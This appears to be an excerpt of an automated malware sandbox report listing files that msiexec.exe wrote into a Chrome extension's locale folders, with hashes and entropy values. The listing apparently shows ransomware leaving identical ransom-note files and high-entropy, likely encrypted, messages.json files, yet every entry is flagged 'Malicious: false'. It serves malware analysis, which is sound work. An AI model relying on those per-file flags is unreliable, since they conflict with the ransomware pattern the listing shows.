SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ar\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6969342338339155
Encrypted:	false
MD5:	7D6AF57F28AD44945DAD493F2B0AFDFA
SHA1:	E3CC5C4D75F76CBDB792FB1BC95D556E48C79E2D
SHA-256:	F22E230A795CDBC2C7D30528544917232A5BCBD571F36CED23CB23ACDAD9EF34
SHA-512:	D9E272EB940E1DCD3E756AF66DE2FD0EC7D4FFA8FA4A8825ACD0D1828C4018CF3BA5AE02EE80F4675D256996EE24FB473E198241C264D4569465A7EB1ED90358
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\bg\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69252867094511
Encrypted:	false
MD5:	1B44E667126CEF00DF8CA6F4A891D436
SHA1:	0048375B1279849C4448B013B9DE48DFF045AB95
SHA-256:	B682DF1713116F3C3AC47C6C4885887630BB8308243795EEB2A1B91CE4AFD701
SHA-512:	4BDFB09B5AF8EBF207C060ED0B8C6509297E665BCD626C81A95A791E4A19E6AA9B3CFE2A1FDCBEFACC056BD3BFA127DE1E2012B5CE2B534BD3A8CDF9A6429019
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ca\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.651836992752815
Encrypted:	false
MD5:	5FBF18C05477E2B976C50D324819C71F
SHA1:	83B7C6EA92A047EDEBBB517249ECC8FBD4E6EA3A
SHA-256:	ED7129FE663B7D005291F5F42F940C8C5243129D3F09F6E0B70206C22D724EEB
SHA-512:	2FCAFA6CF54426E719416679A7934DDE9F0441A31825209FBCDC26DF98E0EFAD1A012210E9E781F00401ABD553DA85EAB8079F3713F81A4022598570F761288C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\cs\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.693366362871343
Encrypted:	false
MD5:	794A838B64CED3436E0CA740F13A182F
SHA1:	FDE2ACEF96E709D7C734FDF1263D31FBEC917201
SHA-256:	613B2C023484F86AB88F927A5024FB7B740224B96C1644E6A4792C021CB0DC06
SHA-512:	B83EA6D46DACE3C4351AC99C52B247AF42A2809A8DAFDE3B22390F9BBF5ACB70A5EBD681FD57EB873D963E451ECDE1B69B9DE4C35727B78431D93B1CEF0E0D44
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\da\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.616344021287772
Encrypted:	false
MD5:	27932D362791C9FAD304CB3AD319B576
SHA1:	23516D0CFBFBDA8D50E4DFE3057254B589D8BC1E
SHA-256:	C8A76A5827690465437E01417998450FA15CAD49861015E3BFF12A312489EBB2
SHA-512:	EEA8750FE05085EFD60308F54A3CA6F5933C9E88846A8D607C6C8E284B9FFAD198121734BC868A47F9FEFA7C3F037D08B9247A035CB00A6FF074383679EEA414
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\de\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699039932016579
Encrypted:	false
MD5:	30EC0EF1DEB27BB48F6C039D2337A0BB
SHA1:	5D08AC590844EDB4CE405704C0E6DF2D5840E751
SHA-256:	479B920D51A4E20C8A0D9A73184590D8D7F0EAC4E69D1CA1942EEAF96F5A4C3D
SHA-512:	84766FEBE7DE09AF98E31A29831CD73CB8808E2234357DDDF0388D26A6A039D61080CEACC39F8BC38184C77FA3477BD51E62010A74A04F12500DCBC7C8DAED64
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\el\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.711992625573454
Encrypted:	false
MD5:	9C0E70B80691FF99A755B3F310F4691E
SHA1:	DEF34BC3782A8E1C0A2F22E059DCE8FD4552999E
SHA-256:	D74D38EE3CE2C69877E4F8B355526D0ACBD0A32EA2543B68DD03F4EF80872C95
SHA-512:	363A34EEA15837C887F8C7FA9121063AFC1ACB17ED2FD3825B44C83CE081A89089FD782995F3A2D549B0CABAFE4CFCF894D87C623C31011243CCDEA7F57693C3
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_GB\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_GB\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6430957838984295
Encrypted:	false
MD5:	EF81DC257F11F4BDD73CFBE58747AAF3
SHA1:	B49FA37314A9FF20B4B146A482D882BFE7E81E6B
SHA-256:	991FC297C3BF935C929B8D6125AF8A1ACA587F1928BF115E9F5CF31061B19CD8
SHA-512:	54B6BD6FAF5D150102E58E2B5E9474642B8E095980E605B6BFCCD0A3FFB97E04A2085915B5690312BDB429E4D8A47E3E206A460CB882AC07F592CF96AE4AF812
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_US\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_US\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.618964184783658
Encrypted:	false
MD5:	280B58FD3AB735004BC0EC0F74EF59A2
SHA1:	771BED9E4329B78CF201C3B732A8504810A2A444
SHA-256:	5ED75D43DD0704BD8E68EBCF9CDD5DC1881C2F1F592809B30534E8A5978887A5
SHA-512:	1C14321FD34C252FD25025411AC0F941A84396229C1E8D5C8C289A4F96A35A664887E0E2AF59FC7B05E522A5FA36640D4ABD525F3E8133C804FA2DACE3ED0460
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69963534762779
Encrypted:	false
MD5:	E82BF050EA32311D23A1D41B95213020
SHA1:	F198BD86F546B036AB617731A5457F57393BE0C8
SHA-256:	B402ACBF48C017E7B08BDB964BF90E6AB2D4494DCD85615307ECB14042B6A6B0
SHA-512:	6F92D28A44E977806C75051F8356C6293C82DB027EEB6D7C56FC428A5EA8119C529E013F37CA11F77690D4285932D1FD73E54DBFF4C05ED41157317D9F9933B1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es_419\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es_419\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.715232207485879
Encrypted:	false
MD5:	7F7BAFF9F7944B95CE10C751E3B1A40F
SHA1:	3B4920154098349431E66DF4AAE0B260A99087D2
SHA-256:	846059F983648A6F5219479BDA32D80FCD8756BE627D3F468E51155E5B8D42F1
SHA-512:	090A837896622CC30858BA4578D2A088E665B2DF156602122365AE7EF45D5DFB2853163C0FC075A1FF527A91C1CB17056CE6F1FC6167BD8AEE6DD67C33412825
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\et\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\et\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.721494539104629
Encrypted:	false
MD5:	76DEB2229A189479B73E05044B8A1F04
SHA1:	6F23437A14A93008A09070C4BA9DDDC12715EA1A
SHA-256:	BAB644EC74EE48AFEB6EE9AB5CEAB2614F6658A9D42552BC2CF47FE2D541E211
SHA-512:	BA37448F37F70C31DDF931BC74B023E4084289C374B475AFE5E17EDCB1D7F9D2E28E51EC7E38061BBEB6E8B9CB1DC43AD97DD94EB9E229BB1FB2F35443E69CF6
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\eu\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\eu\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6760081064256545
Encrypted:	false
MD5:	072AF68EB8C769A2ED8D00FB5C1CE842
SHA1:	38724D1CE9D32982B5111885F24B1FCEA5BDF249
SHA-256:	E3075390E5D766E2B11F95DD4F04B8E1FA82B537EEB0481BCB6770C53BDA2996
SHA-512:	C9751E7A5952E2E5223E3B35C87FEE6571774521BE82135B741F517EA37164373BC331BFD5C385E9FE09418BA61715B814C5EA08D1C7AFC260E25F65133EFB24
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6852096131568945
Encrypted:	false
MD5:	A0D5A31352FADC2F7F42D4997BB732CD
SHA1:	042671730C922BBCBD60317B981871D0463DA74A
SHA-256:	189BF7646C4798B1ED5219793FF102C45736B35D00172618720BAEDAE56EF531
SHA-512:	9E2C08C4DB2A1CD8F6096B1D742AFB5CE6CDA16D3C119576B6B389B9B1D350311D117D3C477AA7172DEC2E78F1089E323F822771BA1930DDF439DD1221D3D558
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fil\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.626828363828107
Encrypted:	false
MD5:	75A472048AE1C830DABCD4182B6B0BD3
SHA1:	1F778623997EC97848D1D75180A2143F8B26E8B4
SHA-256:	E5AD7A0D3C056BAB7D2AE6C139D7C777BD59CEED0EA3E583190AF530BD679EF9
SHA-512:	24B1C1DCAB2BAEC12F4CFFF5DEB08CB44A43A965793A837E831B850DBBDAB9FCAD4E9E2A3506BB379E46FE20090E287D9E9E6235C6A580EA0DF9AC8A3D0A0A6E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.725079677761157
Encrypted:	false
MD5:	4BB13FF44668EDB83D99F6246261C2BE
SHA1:	78612F89CFDBFAAA17C121FA5C1240B86F8F5BED
SHA-256:	781D694CBA450E5D63645C71BEEE3E116EB66AA44FB5FB25004B09F5803A5AAC
SHA-512:	F30BB8FFA2501A68530D693E7B019DB486599B30602B157D5E332AE664F479AB9B83ABB19ECEB28041EA0910D6582AC3B15427DE8E4DC00D0144975D673AF461
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\he\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\he\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695442995811554
Encrypted:	false
MD5:	2C51F50379E2C66364325A23857E6994
SHA1:	3F7B1E5FE8A2BD3A43C56FCE2B9E757EA18FA298
SHA-256:	C0F41B772313FEC70A54B7A78718CCF046BDF5EDD1F7DE4FA878329AD885BA76
SHA-512:	5033B7130506BC8AFADD4E29D1099B78E056CDB3DC6314E4900E83A60820BE195AFB9285085A46D163C80F57EE7A65E1415C61EA3A238F78B1FC859E1EEBC61F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.752876197388602
Encrypted:	false
MD5:	61DF2C3DD770B4FA3B856A37545EE43F
SHA1:	23DBB9B1B0E5C7C739D59329B54D129CCE1F5532
SHA-256:	49AD21146E5354371FE946E8901AA73E28A9302459F41204E8CBFB660AAED71F
SHA-512:	AFCF421D7AC869DDD7D83EDA4453893791B34A2E90414A738841F6950F18EE0E2CDA35EA9879B784A96445A1CAF9CCD574E197AFFBDDE1D3CEBC94E2E752D96A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.660007812916397
Encrypted:	false
MD5:	008A565C684F4420380A2DB9B5F6AE98
SHA1:	DA2441DCBD92D7A06B53F8C68C0D6A1C03C463BB
SHA-256:	936083AB7AC3E50DB70FF4BFD89E07573E9C9851DF67AA88094FDCAF3CD4F118
SHA-512:	66CD492D87164108C07F189A8FB58F37AB3304345AC790064DBE15223AAB4EA8888F803FE8A33BC0D820B560E1A0D75E08FDB420ADEFD065450EF45B9B026606
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hu\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7134344166815625
Encrypted:	false
MD5:	D4B45BC1A4C83799F4D8A194D0A37DD6
SHA1:	8331CC7A0E57719C42D294B21BB22821FA92577F
SHA-256:	E50ECEFF74A1B6E13CD9CA6E81B7D0069F68B7690BF68E13063C8160BFF99563
SHA-512:	F9D806885A303C0FEF54EA8600ED80DED251F5983452E83DF8472E1495213C8B560F48FBDFBB9002C6F2B1842A89FB1993EF7CA9B7AA3DB868A291B95BA6021B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\id\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69826204798301
Encrypted:	false
MD5:	BBA3DDFB676F82D10A4F23980770E38B
SHA1:	8AD14CA9119606041FDDE7D8E32C2F785236CB0E
SHA-256:	6BB02B187BE4F0CF346A2B8A217B360F0DE4324C01BC2EFA23C20D8A2F6D121E
